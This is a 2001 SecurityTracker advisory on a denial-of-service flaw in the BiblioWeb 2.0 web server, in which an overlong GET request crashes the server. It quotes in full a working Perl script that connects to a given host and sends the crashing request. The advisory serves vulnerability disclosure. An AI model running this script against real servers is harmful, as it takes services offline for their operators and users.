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BiblioWeb Server Can Be Crashed By a Remote User Sending a Long URL
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SecurityTracker Alert ID: 1001739 |
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SecurityTracker URL: http://securitytracker.com/id/1001739
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jun 13 2001
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Impact:
Denial of service via network
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Exploit Included: Yes
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Version(s): version 2.0
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Description:
A vulnerability has been reported in the web server component of BiblioWeb that allows remote users to cause the web server to crash.
By sending a GET request with approximately 1024 characters as the target of the request, a remote user can cause the web server to crash.
A demonstration exploit Perl script is included in the Source Message.
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Impact:
A remote user can cause the web server to crash.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.biblioscape.com/biblioweb.htm (Links to External Site)
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Cause:
Boundary error
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Underlying OS:
Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)
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Message History:
None.
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Source Message Contents
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Date: Wed, 13 Jun 2001 00:05:28 -0400
Subject: BiblioWeb vulnerability
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BiblioWeb version 2.0
Exploit:
#!/usr/bin/perl
system ("clear");
print
"#################################################################\n";
print "# \n";
print "# \n";
print "# Simple Denial of Service against the Biblioweb Server \n";
print "# Reference http://www.biblioscape.com \n";
print "# Based info joetesta\@hushmail.com \n";
print "# \n";
print "# \n";
print "# Author: alt3kx! alt3kx\@ <raza-mexicana.org> \n";
print "# \n";
print "# \n";
print "# www.raza-mexicana.org \n";
use Getopt::Std;
use Socket;
getopts('h:', \%args);
if(!defined($args{h})){&usage;}
($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);
$def = "A";
$num = "1024";
$data .= $def x $num;
$serv = $args{h};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print("\nData has been successfully sent to $serv\n\n");
sub usage {die("\n\nUsage: perl -x $0 -h <hostname>\n\n");}
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